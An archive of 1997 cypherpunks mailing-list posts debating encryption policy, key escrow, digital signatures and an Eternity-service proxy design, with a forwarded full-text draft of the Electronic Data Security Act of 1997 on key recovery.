From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Thu, 1 May 1997 13:40:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <3.0.32.19970430221915.006abb08@best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:19 PM 4/30/97 -0800, Tim May wrote:
..elided..
>
>""§2804. Prohibition on mandatory key escrow
>
>"(a) PROHIBITION. -- No person in lawful possession of a key to encrypted
>information may be required by Federal or State law to relinquish to
>another person control of that key. 
>"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
>shall not affect the authority of any investigative or law
>enforcement officer, under any law in effect on the effective date of this
>chapter, to gain access to a key to encrypted information. "
>
>Sounds good...a ban on key escrow, right? No, because "EXCEPTION FOR ACCESS
>FOR LAW ENFORCEMENT PURPOSES" could easily be used to mandage key escrow.
>After all, even Louis Freeh and Dorothy Denning have never argued that key
>escrow is for use by non-law enforcement!
>

I'd like to point out that the key phrase in there seems to be 
"under any law in effect on the effective date of this chapter"  -- altho
it's gobbledegooked,
the intent seems to say "if there is no law in effect mandating GAK when
this bill becomes
law, there can never be a law passed which does"  Or in other words, it has
the effect of making
GAK no better, or worse, than under current law, while preventing passage
of GAK laws in the future.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 1 May 1997 15:01:35 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: mainstream media corruption same as govt
In-Reply-To: <Pine.GSO.3.95.970429212717.11982B-100000@well.com>
Message-ID: <3.0.1.32.19970430224046.005ebef0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:33 PM 4/30/97 -0700, Vladimir wrote:
>the crack cocaine situation in LA is a good example of how the truth
>is buried by the media. a maverick newspaper reports something close to the
>truth and the cia-manipulated mouthpieces around the country pile on
>the journalist and the newspaper in a barrage of picks that choke the
>truth in clouds of smoke.

The main thing that puzzled me about that episode was that
everybody made such a big deal over it.  
I mean, didn't _everybody_ remember that Ollie North's Contra buddies 
were smuggling coke and occasionally getting caught at it?  
   The whole Yankee-Panamanian War was largely caused by my 
   liberal friends with their "Bush and Noriega in '88" bumper stickers 
   that George "I am not a wimp!" Bush had to distance himself from :-)  	
		"Bush and Noriega - A _Crack_ Team!"

And then there's "The Politics of Heroin in Southeast Asia",
for a more scholarly and thorough treatment; I think the followon book
was just named "The Politics of Heroin".



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Thu, 1 May 1997 14:01:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <3.0.32.19970430221915.006abb08@best.com>
Message-ID: <9704302248.ZM15901@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Apr 30, 10:23pm, geeman wrote:
> Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
>
> I'd like to point out that the key phrase in there seems to be
> "under any law in effect on the effective date of this chapter"  -- altho
> it's gobbledegooked,
> the intent seems to say "if there is no law in effect mandating GAK when
> this bill becomes
> law, there can never be a law passed which does"  Or in other words, it has
> the effect of making
> GAK no better, or worse, than under current law, while preventing passage
> of GAK laws in the future.

	Agreed, except for one subtle correction. Congress cannot
make a law saying a future congress cannot make such and such a law,
because the future congress can always repeal, amend or override the
old law. So, what this section does is to make GAK through an
executive order impossible.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 1 May 1997 14:26:01 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Why I delete cc;s to other mailing lists
In-Reply-To: <199705010441.FAA00950@server.test.net>
Message-ID: <v03007801af8deee5c0d0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:41 PM -0800 4/30/97, Adam Back wrote:
>[btw what do people think of the practice of putting To: cypherpunks,
>and Bcc: coderpunks@toad, cryptography@c2 as I have done here?  I do
>this for stuff when I'm interested in comments of people who are on
>cryptography but not cypherpunks, similarly for coderpunks to avoid
>the non-crossposting issue with coderpunks, and avoid extra moderation
>work for Perry with cryptography.  I know you get multiple copies if
>you're on all lists, how else does one reach you all?  Myself I have a
>procmail recipie which junks multiple copies, like:

I once unintentionally forgot to delete the "cryptography@c2.net" cc: on a
reply I made to what (I assumed) was a Cypherpunks message, and received a
Perrygram stating that my message was off-topic and was not welcome on his
list.

Clearly Perry has the right to run _his_ list any way he wishes to, just as
Declan has the right to run _his_ list any way he wishes to, just as Bob
Hettinga has the right to run _his_ list (or lists) as he wishes, and just
as Lewis McCarthy has the right to the run _his_ "Coderpunks" list as he
wishes, and so on.

However, I think these "personal" lists are not to my taste, I don't want
Perry or Declan or Bob or Lewis deciding whether my articles match their
interests at the time I submit an article.

I routinely delete all of the cc:s to other lists, figuring if people want
to read my stuff they can damn well subscribe to the Real Thing, the
Cypherpunks list. No censorship (modulo the John and Sandy Show in
Jan-Feb), and no control freaks trying to limit discussion to the things
that happen to interest them that week.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 1 May 1997 14:41:59 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: Eternity service proxies
Message-ID: <3.0.32.19970430232407.007181c8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:41 AM 5/1/97 +0100, Adam Back wrote:
>
>[btw what do people think of the practice of putting To: cypherpunks,
>and Bcc: coderpunks@toad, cryptography@c2 as I have done here? 

Works for me.
[...]
>My announce was rather hurried, and someone suggested to me the use of
>a proxy as an architecture for interfacing to the eternity service
>rather than the cgi based system I have.
>
>The person who suggested this to me also described some work on a
>"universal proxy framework" which is designed to enable things like
>"cookie-cutting, onion routing etc."  Also it was suggested this is a
>cheaper way to implement a proxy.
[...]

This is true for some value of cheaper. The proxy framework provides
services to the proxylets. Therefore it is cheaper to write a proxylet than
it is to write a proxy. However, the advantages of using a proxy framework
to enable multiple local proxies are not limited to reducing the work
effort of the proxylet author. The framework also would provide
registration services, which are pretty much a requirement for dynamically
loadable proxylets to exist on a machine without requiring user intervention.

After all, the proxies have to operate in a certain order to be functional.
This order would be hard to achieve without the proxies knowing about each
other. And since the proxies almost by definition have no idea what is
happening on the other side of that socket (or however you want to
implement the proxy-to-proxy interface), somebody needs to watch over them
to make sure they get used in the right sequence.

To give an example of a machine with a moderate number of client side
proxies, you might have

1. A DNS resolver proxy that intercepts the *.eternity TLD's.
2. The actual Eternity proxy that builds the NNTP requests.
3. A crypto proxy that encrypts the NNTP requests between the localhost and
a suitable NNTP server.
4. An Onion Router/Pipe-net/jondo proxy that allows for anonymous access of
the NNTP server.

And that's just for the Eternity service. Add to this a POP/SMTP proxy that
automatically encrypts/decrypts all mail, an https proxy that beefs up 40
bit SSL to 128 bits, a proxy that provides for on the fly decryption of
webpages that are _stored_ encrypted, and before you know it you have ten
proxies on a machine that all have to be used in a specific order.

Ten proxies that have no way of knowing about each other. A proxy framework
soon becomes a requirement.

>My ideal interface would have been a web proxy, as this allows the
>user to transparently integrate this into their browser.  You may be
>able to set your browser to use the proxy to handle *.eternity, and
>have the rest go direct, but I'm not so sure on this point.

Sure. The user should never have to use special tools to access
information. That's the beauty of using proxies. You use a standard browser
as front end. All the rest is taken care of transparently by the proxies.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Apr 1997 02:06:00 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970327232118.10795@bywater.songbird.com>
Message-ID: <19970401020332.13826@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, Mar 31, 1997 at 01:20:02PM -0500, Ray Arachelian wrote:
> On Thu, 27 Mar 1997, Kent Crispin wrote:
[...]
> > > 	The only legal support needed for digital signatures
> > > 	is for the courts to recognize that digital signatures
> > > 	are equivalent to their analog counterparts.
> > 
> > The *only* legal support?  This is a *big* deal, and the issues are 
> > very complicated.  Handwritten signatures and digital signatures are 
> > really quite different.
> 
> I claimeth not lawyerhood, but IMHO, it can stand up in court if both 
> parties agree to it by analog signatures infront of a notray.

I can comment, and I am not a lawyer -- I in fact know of one such 
case, where one large organization signed a MoU with another one that 
agreed that PGP signatures would be valid authorization for work 
orders and selected other transactions.  This can be useful where the 
organizations in question have a long term relationship, and they are 
willing to go to the expense of drafting such a contract.

> > >	This could
> > > 	be binding if the two parties sign something that says
> > > 	"If I use PGP to sign a document I agree to allow that
> > > 	document to be treated as if I signed it." (IMHO)
> > 
> > Sure.  It's been done, in fact.  However, pairwise contracts with
> > everyone you do business with is not going to cut it.  You need laws
> > for this. 
> 
> Not if it is agreed by all parties involved and their lawyers to honor 
> such signatures. (IMHO)

Suppose I offer to sell you my car for $1000.  We are not going to 
manually sign a contract to accept our pgp keys on a contract to sell 
the car, we will just do the total deal with manual signatures.  Title 
will be transferred at the Department of Motor Vehicles with manual 
signatures.  Smog certificates will be signed with manual signatures.
It isn't worth the time and trouble to set up any kind of a special 
arrangement for digital signature for one time or sporadic, low 
volume transactions.  Not until there is a legal infrastructure in 
place will we be able to do that.

> 
> > [...]
> > > 
> > > > 	4) Businesses, especially large businesses, will (and do)
> > > > 	want common standards for key and DS management.

> > > 	Yeah, and they also want standards for software.
[...]
> > 
> > This is pair-wise contracting again.  Note, incidentally, that 
> > standards concerning signatures are of a different order than 
> > standards concerning office software.  There far more pressing 
> > liability issues with digital signature.
> 
> Really? you must not have been gotten infected by the slew of Word and 
> Excel viruses out there.  Might be a very good lawsuit against Micro$oft 
> that they allowed such things to happen.

Not a chance.

> Standards for a company are standards for a company.  Which standard has 
> more weight or importance is up to that company.  Sure, it is on a bigger 
> scale that installing XYZ OfficeWare and getting your ass fired, but it 
> is still a standard.

We're not talking about standards for a company, we are talking about 
standards between companies, and government agencies.

> Is there any reason that a specific company CAN'T decide to use PGP? (or 
> PEM, or some other scheme) if it so choses?

All kinds of reasons.  A Title Insurance company isn't going to be 
able to use digital signatures on Deeds of Trust without court 
approval, to just pick an example out of the air.  

[...]

> > These are company signature 
> > keys, also used for encrypting email, so the company escrows all the 
> > secret halves of the keypairs.  (There is no privacy issue here -- 
> > these are all company keys used for company business, all the 
> > encrypted documents are company documents.)
> 
> So what's the problem?  You hire people to keep track of assigning, 
> escrowing, and signing keys for your employees.  You have IS staff and 
> security staff to watch for breeches.  You can automate tons of this with 
> good written scripts that automatically scan all email for valid 
> signatures and raise alarms when signatures don't match.

So what's the problem?  Your answer is the problem:  "You hire 
people...You have IS staff...You can automate etc"

> Where is this not useful?  For a small company a locked safe is plenty.  
> For a large company, you hire HR/Security folks to be your "Key Agents" 
> or whatever.

This costs *money*.  There is no reason to use digital signature
unless it saves you *money*.  A business isn't going to invest in DS
infrastructure, especially of the scale you describe, just
because they think it's fun.

[...]
> > 
> > Many commercial "standards" are legal standards, supplied by the
> > government.  In fact, the whole legal infrastructure of business law
> > is really, when you get right down to it, a set of legally mandated
> > standards.  Standards are all over the map, when it comes to legal 
> > status.
> 
> Because there are laws that force such standards on the company.

This is a terribly simplistic view of things.  Businesses also
make good use of the level playing field that is provided by laws.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Tue, 1 Apr 1997 05:27:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fwd: Full Text Draft Legislation- key management infrastructure
Message-ID: <199704011327.HAA19601@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Mon, 31 Mar 1997 06:40:13 -0800 (PST)
From:          Phil Agre <pagre@weber.ucsd.edu>
To:            rre@weber.ucsd.edu
Subject:       key management infrastructure
Reply-to:      rre-maintainers@weber.ucsd.edu

[I've enclosed the full text of draft legislation on key recovery that the
administration is circulating in Congress.  You won't like it.]

_____________________________________________________________________
[From CDT.]

105th CONGRESS                                                  DRAFT 3/12/97

1st Session                 H.R. _________________

                   ________________________________________

Mr. _________________ of _________________ introduced the following
bill;  which was referred to the Committee on _____________________


                                A BILL

     To enable the development of a key management infrastructure for
public-key-based encryption and attendant encryption products that will
assure that individuals and businesses can transmit and receive
information electronically with confidence in the information's
confidentiality, integrity, availability, and authenticity, and that
will promote timely lawful government access.

     Be it enacted by the Senate and House of Representatives of the
United States of America in Congress assembled,

                   TITLE I -- GENERAL PROVISIONS

SEC. 101.  SHORT TITLE

This Act may be cited as the "Electronic Data Security Act of 1997".

SEC. 102.  FINDINGS

The Congress finds the following:

(A)  The development of the information superhighway is fundamentally
changing the way we interact. The nation's commerce is moving to
networking.  Individuals, government entities, and other institutions
are communicating across common links.

(B)  The Internet has provided our society with a glimpse of what is
possible in the information age, and the demand for information access
and electronic commerce is rapidly increasing.  The demands are arising
from all elements of society, including banks, manufacturers, service
providers, state and local governments, and educational institutions.

(C)  Today, business and social interactions occur through face-to-face
discussions, telephone communications, and written correspondence.  Each
of these methods for interacting enables us to recognize the face, or
voice, or written signature of the person with whom we are dealing. It
is this recognition that permits us to trust the communication.

(D)  In the information age, however, those personal attributes will be
replaced with digital equivalents upon which we will rely.  Electronic
digital transmissions, through which many businesses and social
interactions will occur, inherently separate the communication from the
person, forsaking confidence once derived from a handshake or a signed
document.

(E)  At the same time, society's increasing reliance on information
systems in this new environment exposes U.S. citizens, institutions, and
their information to unprecedented risks.

(F)  In order for the global information infrastructure and electronic
commerce to achieve their potential, information systems must e imbued
with the attributes that overcome these risks and must provide trusted
methods to identify users.

(G)  Cryptography can meet these needs.  Cryptography can be used to
digitally sign communications ore electronic documents such that a
recipient can be confident that any message he or she received could
only have come from the apparent sender.  Moreover, cryptography is an
important tool in protecting the confidentially of wire and electronic
communications and stored data.  Thus,. there is a national need to
encourage the development, adoption, and use of cryptographic products
that are consistent with the foregoing considerations and are
appropriate for use both in domestic and export markets by the United
States Government.

(H)  The lack of a key management infrastructure impedes the use
cryptography and, there fore, the potential of electronic commerce.
Users cannot encrypt messages without keys, therefore, they need a
secure and standardized mechanism for the generation of keys, storage of
keys, and transfer of keys between users.  There is currently no
standardized mechanism for the generation of keys, storage of keys, and
transfer of keys between users.  There is currently no standardized
method in the private sector to accomplish all of these tasks, thus
users must individually assume these burdens or forego the use of
cryptography.

(I)  Industry must work with government to develop a public-key-based
key management infrastructure and attendant products that will ensure
participants can transmit, receive, and use information electronically
with confidence in the information's integrity, confidentiality,
authenticity, and origin, while also allowing timely lawful government
access.

(J)  To this end, the government should issue appropriate public key
encryption standards for federal systems and encourage the development
of interoperable private sector standards for use across border.
However, the architecture(s) the government endorses in its standards
must permit the use of any encryption algorithm.

(K)  To effectively serve the public, such a key management
infrastructure must be founded upon a system of trusted service
providers to ensure acceptable standards of security, reliability, and
interoperability.

(L)  While cryptographic products and services are useful for protecting
information and its authenticity, such products also can be sued by
terrorists, organized crime syndicates, drug trafficking organizations,
and other dangerous and violent criminals to avoid detection and to hide
evidence of criminal activity, thereby jeopardizing effective law
enforcement, public safety, and national security.

(M)  Any effective key management infrastructure must not hinder the
ability of government agencies, pursuant to lawful authority, to
decipher in a timely manner and obtain the plaintext of communications
and stored data.

SEC. 103.  LAWFUL USE OF ENCRYPTION.

It shall be lawful for any person within any State of the United States,
the District of Columbia, the Commonwealth of Puerto Rico, and any
territory or possession of the United States, to use any encryption,
regardless of the encryption algorithm selected, encryption key length
chosen, or implementation technique  or medium used, except as provided
in this Act or in any other law.  Participation in the key management
infrastructure enabled by this Act is voluntary.

        TITLE II -- REGISTRATION OF CERTIFICATE AUTHORITIES AND KEY
                             RECOVERY AGENTS


SEC. 201.  REGISTRATION OF CERTIFICATE AUTHORITIES

The Secretary may register any suitable private sector entity,
government agency, or foreign government agency to act as a Certificate
Authority in the Secretary determines that the entity or agency meets
minimum standards, as specified in regulations promulgated by the
Secretary. for security, performance, and practices in order to
accomplish the duties of a Certificate Authority registered under this
Act.  The Secretary may condition, modify or revoke such a registration
if the registered entity or agency has violated any provision of this
Act or any rule, regulation, or requirement prescribed by the Secretary
under this Act, or for any other reasons specified by the Secretary in
rule or regulation.

SEC. 202.  REGISTRATION OF KEY RECOVERY AGENTS.

(A)  Registration by the Secretary.  The Secretary may register a
suitable private sector entity or government agency to act as a Key
Recovery Agent if the Secretary determines that the entity or agency
possesses the capability, competency, trustworthiness and resources to
safeguard sensitive information entrusted to it, to carry out the
responsibilities set forth in subsection (B) of this section, and to
comply with the Secretary's regulations.

(B)  Responsibilities of Key Recovery Agents.  A Key Recovery Agent
registered under subsection (A) of this section shall, consistent with
regulations issued by the Secretary, establish procedures and take other
appropriate steps --

     (1)  to ensure the confidentiality, integrity, availability and
     timely release of recovery information held by the Key Recovery
     Agent;

     (2)  to protect the confidentiality of the identity of the person
     or persons for whom such Key Recovery Agent holds recovery
     information;

     (3)  to protect the confidentiality of lawful requests for recovery
     information and the identity of the individual or government agency
     requesting recovery information and all information concerning such
     individual's or agency's access to and sue of recovery information;

     (4)  to carry out the responsibilities set forth in this Act and
     implementing regulations.

(C)  Revocation of Key Recovery Agent Registration.  The Secretary may
condition, modify, or revoke a Key Recovery Agent's registration if the
registered entity or agency has violated nay provision of this Act or
any rule, regulation, or requirement prescribed by the Secretary under
this Act, or for any other reasons specified by the Secretary in rule or
regulation.

SEC. 203.  PUBLIC KEY CERTIFICATES FOR ENCRYPTION KEYS.

The Secretary or a Certificate Authority registered under this Act may
issue to a person a public key certificate that certifies a public key
that can be used for encryption only if the person:

     (A)  stores with a Key Recovery Agent registered by the Secretary
     under this Act sufficiently information, as specified by the
     Secretary in regulations, to allow lawful recovery of the plaintext
     of that person's encrypted data and communications; or

     (B)  makes other arrangements, approved by the Secretary pursuant
     to regulations acceptable to the Attorney General, that assure that
     lawful recovery of the plaintext of encrypted data and
     communications can be accomplished confidentially when necessary.

             TITLE III -- RELEASE OF RECOVERY INFORMATION
                         BY KEY RECOVERY AGENTS

SEC. 301.  CIRCUMSTANCES IN WHICH INFORMATION MAY BE RELEASED

A Key Recovery Agent, whether or not registered by the Secretary under
this Act, is prohibited from disclosing recovery information stored by a
persons unless the disclosure is --

     (A)  to that person, or an authorized agent thereof;

     (B)  with the consent of that person, including pursuant to a
     contract entered into with that person;

     (C)  pursuant to a court order upon a showing of compelling need
     for the information that cannot be accommodated by any other
     means, if --
        (1)  the person who stored the information is given reasonable
        notice, by the person seeking the disclosure of the court
        proceeding relevant to the issuance of the court order; and
        (2)  the person who stored the information is afforded the
        opportunity to appear in the court proceeding and contest the
        claim of the person seeking the
        disclosure;

     (D)  pursuant to a determination by a court of competent
     jurisdiction that another person is lawfully entitled to hold such
     recovery information, particularly including determinations arising
     from legal proceedings associated with the death or dissolution of
     any person; or

     (E)  as otherwise permitted by this Act or other law, particularly
     including release of recovery information pursuant to section 302
     of this Act.

SEC. 302.  RELEASE OF RECOVERY INFORMATION TO GOVERNMENT AGENCIES.

(A)  A Key Recovery Agent, whether or not registered by the Secretary
under this Act, shall disclose recovery information stored by a person:
     (1)  to a government agency acting pursuant to a duly authorized
     warrant or court order, a subpoena authorized by Federal or State
     statute or rule, a certification issued by the Attorney General
     under the Foreign Intelligence Surveillance Act, or other lawful
     authority that allows access to recovery information by such
     agency; or

     (2)  to a law enforcement or national security government agency
     upon receipt of written authorization in a form to be specified by
     the Attorney General/

(B)  The Attorney General shall issue regulations governing the use of
written authorizations to require release of recovery information to law
enforcement and national security government agencies.  Those
regulations shall permit the use of written authorizations only when the
government agency is lawfully entitled to determine the plaintext of
wire or electronic communications or of electronic information and will
use the recovery information for that purpose, to test products in the
agency+s possession, to prove facts in legal proceedings, or to comply
with a request from a duly authorized agency or a foreign government.

SEC. 303.  USE AND DESTRUCTION OF RECOVERY INFORMATION RELEASE TO A
GOVERNMENT AGENCY.

A government agency to which recovery information has been release in
response to a written authorization issued under section 302()A)(2) or
the Act, by a Key Recovery Agent registered under this Act, may use the
recovery information only to determine the plaintext of any wire or
electronic communication or of any stored electronic information that
the agency lawfully acquires or intercepts, to test cryptographic
products in the agency+s possession, to prove facts in legal
proceedings, or to comply with the request of a duly authorized agency
of a foreign government.  Once such lawful use is completed, the
government agency shall destroy the recovery information in its
possession and shall make a record documenting such destruction.  The
government agency shall not use the recovery information to determine
that plaintext of any wire or electronic communication or of any stored
electronic information unless it has lawful authority to do so apart
from the Act.

SEC. 304.  CONFIDENTIALITY OF RELEASE OF RECOVERY INFORMATION.

A Key Recovery Agent or other person shall not disclose to any person,
except as authorized by this Act or regulations promulgated thereunder
or except as ordered by a federal court of competent jurisdiction, the
facts or circumstances of any release of recovery information pursuant
to section 302(A)(2) of the Act or requests therefor.



                       TITLE IV -- LIABILITY

SEC. 401.  CIVIL ENFORCEMENT

(A)  Enforcement by the Secretary.  The Secretary may, when appropriate
in fulfilling his or her duties under this Act or the regulations
promulgated thereunder, make investigations, obtain information, take
sworn testimony, and require reports or the keeping of records by, and
make inspection of the books, records, and other writings, premises or
property of registered entities.

(B)  Civil Penalties.  Any person who violates section 403 of this Act
shall be subject to a civil penalty in an amount assessed by a court in
a civil action.
     (1)  The amount of the civil penalty may not exceed $10,000 per
     violation, unless the violation was willful, or was committed by a
     Key Recovery Agent or a Certificate Authority not registered under
     this Act.  In determining the amount of the penalty the court shall
     consider the risk of harm to law enforcement, public safety, and
     national security the risk of harm to affected persons, the gross
     receipts of the charged party, the judgment of the Attorney General
     concerning the appropriate penalty, and the willfulness of the
     violation.
     (2)  a civil action to recover such a civil penalty may be
     commenced by the Attorney General.
     (3)  A civil action under this subsection may not be commenced
     later than 5 years after the cause of the action accrues.

(C)  Injunctions.  The attorney General may bring an action to enjoin
any person from committing any violation of any provision of the Act or
regulations promulgated thereunder.

(D)  Jurisdiction.  The district courts of the Untied States shall have
original jurisdictions over any actions brought by the Attorney General
under this section.

SEC. 402.  CIVIL CAUSE OF ACTION AGAINST THE UNITED STATES GOVERNMENT.

(A)  Cause of Action.  Except as otherwise provided in this Act, any
person whose recovery information is knowingly obtained without lawful
authority by an agent of the United States Government from a registered
Key Recovery Agent, or, if obtained by an agent of the United States
Government with lawful authority from a registered Key Recovery Agent,
is knowingly used or disclosed without lawful authority, may, in a civil
action, recover from the United States Government the actual damages
suffered by the plaintiff, and reasonable attorney+s fee and other
litigation costs reasonably incurred.

(B)  Limitations.  a civil action under this section may not be
commenced later than two years after the date upon which the claimant
first discovered or had a reasonable opportunity to discover the
violation.

SEC. 403.  CRIMINAL ACTS.

It shall be unlawful for any person --
     (A)  if a Certificate Authority registered under this Act,
     intentionally to issue a public key certificate in violation of
     section 203 of this Act;

     (B)  intentionally to disclose recovery information in violation of
     this Act;

     (C)  intentionally to obtain or use recovery information without
     lawful authority, or, having received such information with lawful
     authority, intentionally to exceed such authority for the purpose
     of decrypting data or communications;

     (D)  if a Key Recovery Agent, or officer, employee, or agent
     thereof, intentionally to disclose the facts or circumstances of
     any release of recovery information or requests therefor in
     violation of this Act;

     (E)  intentionally to issue a public key certificate under this
     Act, or to fail to revoke such a certificate, knowing that the
     person from whom the certificate is issued does not meet the
     requirements of this Act or the regulations promulgated thereunder;

     (F)  intentionally to apply for or obtain a public key certificate
     under this Act, knowing that the person to be identified in the
     public key certificate does not meet the requirements of this Act
     or the Regulations promulgated thereunder; or

     (G)  knowingly to issue a public key certificate in furtherance of
     the commission of a criminal offense which may be prosecuted in a
     court of competent jurisdiction.
Any person who violates this section shall be fined under title 18,
United States Code, or imprisoned not more than five years, or both.

SEC. 404.  USE OF ENCRYPTION IN FURTHERANCE OF CRIME.

(A)  Whoever knowingly  encrypts data or communications in furtherance
of the commission of a criminal offense for which the person may be
prosecuted in a court of competent jurisdiction shall, in addition to
any penalties for the underlying criminal offense, be fined under title
18, United States Code, or imprisoned not more than five years, or both.

(B)  It is an affirmative defense to a prosecution under this section
that the defendant stored sufficient information to decrypt the data or
communications with a Key Recovery Agent registered under Act if that
information is reasonable available to the government.  The defendant
bears the burden of persuasion on this issue.

(C)  The United States Sentencing Commission shall, pursuant to its
authority under section 9944(p) of title 28, United States Code, amend
the sentencing guidelines to ensure that any person convicted of a
violation of subsection (A) of this section is imprisoned for not less
than 6 months, and if convicted of other offenses at the same time, has
the offense level increased by at least three levels.

SEC. 405.  NO CAUSE OF ACTION FOR COMPLYING WITH GOVERNMENT REQUESTS.

No civil or criminal liability under this Act or any other law shall
attach to ant Key Recovery Agent, its officers, employees, agents, or
any other persons specified by the Secretary in regulations, for
disclosing recovery information or providing other assistance to a
government agency in accordance with the terms of a court order,
warrant, subpoena, certification, written authorization or other legal
authority.

SEC. 406.  COMPLIANCE DEFENSE.

Compliance with this Act and the regulations promulgated thereunder is a
complete defense, for Certificate Authorities registered under this Act
and Key Recovery Agents registered under this Act, to any noncontractual
civil action for damages based upon activities regulated by this Act.

SEC. 407.  GOOD FAITH DEFENSE.

A good faith reliance on a court warrant or order subpoena, legislative
authorization, statutory authorization, a certification, a written
authorization, or other legal authority for access to recovery
information under this Act or its implementing regulations is a complete
defense to any civil or criminal action brought under this Act.

SEC. 408.  FEDERAL GOVERNMENT LIABILITY.

Except as provided otherwise in this Act, the United States shall not be
liable for any loss incurred by any individual or entity resulting from
any violation of this Act or the failure to exercise reasonable care in
the performance of any duties under any regulation or procedure
established by or under this Act, nor resulting from any action by any
person who is not an official or employee of the United States.


                 TITLE V -- OTHER KEY RECOVERY PROVISIONS

SEC. 501.  LABELING OF ENCRYPTION PRODUCTS.

(A)  Any person engaged in manufacturing, importing, packaging,
distributing or labeling of encryption products for purposes of sale or
distribution in the United States shall package and label them so as to
inform the user whether the products use Key Recovery Agents registered
under this Act for storage of recovery information, and whether such
products are authorized for use in transactions with the United States
Government, as specified in regulations promulgated by the Secretary.

(B)  The provisions contained in subsection (A) shall not apply to
persons engaged in business as wholesale or retail distributors of
encryption products to users except to the extent such persons are (1)
engaged in packaging or labeling of such products for sale to users, or
(2) prescribe or specify by any means the manner in which such products
are package or labeled.

SEC. 502.  CONTRACTS, COOPERATIVE AGREEMENTS, JOINT VENTURES AND OTHER
TRANSACTIONS.

A Federal agency approved as a Key Recovery Agent under this Act may
enter into contracts, cooperative agreements, joint ventures and other
transactions and take other appropriate steps to carry out its
responsibilities.

SEC 503.  NEGOTIATION WITH OTHER COUNTRIES.

The President shall conduct negotiations with other countries, on a
bilateral or multilateral basis, for the purpose of seeking and
concluding mutual recognition arrangements for Key Recovery Agents and
Certificate Authorities registered by the United States and other
countries.

                   TITLE VI -- MISCELLANEOUS PROVISIONS

SEC. 601.  REGULATION AND FEES.

(A)  Within one hundred and eighty days after the date of the enactment
of this Act, the Secretary shall, in coordination with the Secretary of
State, Secretary of Defense, and Attorney General, after notice to the
public and opportunity for comment, issue any regulations necessary to
carry out this Act.

(B)  The Secretary may delay the date for compliance with the
regulations issued for up to one year if the Secretary determines that
the delay is necessary to allow for compliance with the regulations.

(C)  The Secretary may charge such fees as are appropriate I order to
accomplish his or her duties under this Act.

SEC. 602.  INTERPRETATION.

Nothing contained in this Title shall be deemed to preempt or otherwise
affect the applications of the Arms Export Control Act (22 U.S.C. 2751
et sec.) or any regulations promulgated thereunder.  (Language
concerning the Export Administration Act and/or IEEPA is under
development.)

SEC. 603.  SEVERABILITY.

If any provision of this Act, or the application thereof, to any person
or circumstance, is held invalid, the remainder of this Act, and the
application thereof, to other persons or circumstances shall not be
affected thereby.

SEC. 604.  AUTHORIZATION OF APPROPRIATIONS.

[This section is reserved pending discussions to develop language that
is consistent with the President+s budget.]

SEC. 605.  DEFINITIONS.

For purposes of this Act:
     (1)  The term "person" means any individual, corporation, company,
association, firm, partnership, society, or joint stock company.

     (2)  The term "Secretary" means the Secretary of Commerce of the
United States or his or her designee.

     (3)  The term "Secretary of State: means the Secretary of State of
the United States or his or her designee.

     (4)  The term "Secretary of Defense" means the Secretary of Defense
of the United States or his or her designee.

     (5)  The term "Attorney General" means the Attorney General of the
United States or his or her designee.

     (6)  The term "encryption" means the transformation of data
(including communications) in order to hide its information content.  To
"encrypt" is to perform encryption.

     (7)  The term "decryption" means the retransformation of data
(including communications) that has been encrypted into the data+s
original form.

     (8)  The term "plaintext" refers to data (including communications)
that has not been encrypted, or if encrypted, has been decrypted.

     (9)  The term "ciphertext" refers to data (including
communications) that has been encrypted.

     (10)  the term "key" means a parameter, or a component thereof,
used with an algorithm to validate, authenticate, encrypt or decrypt a
message.

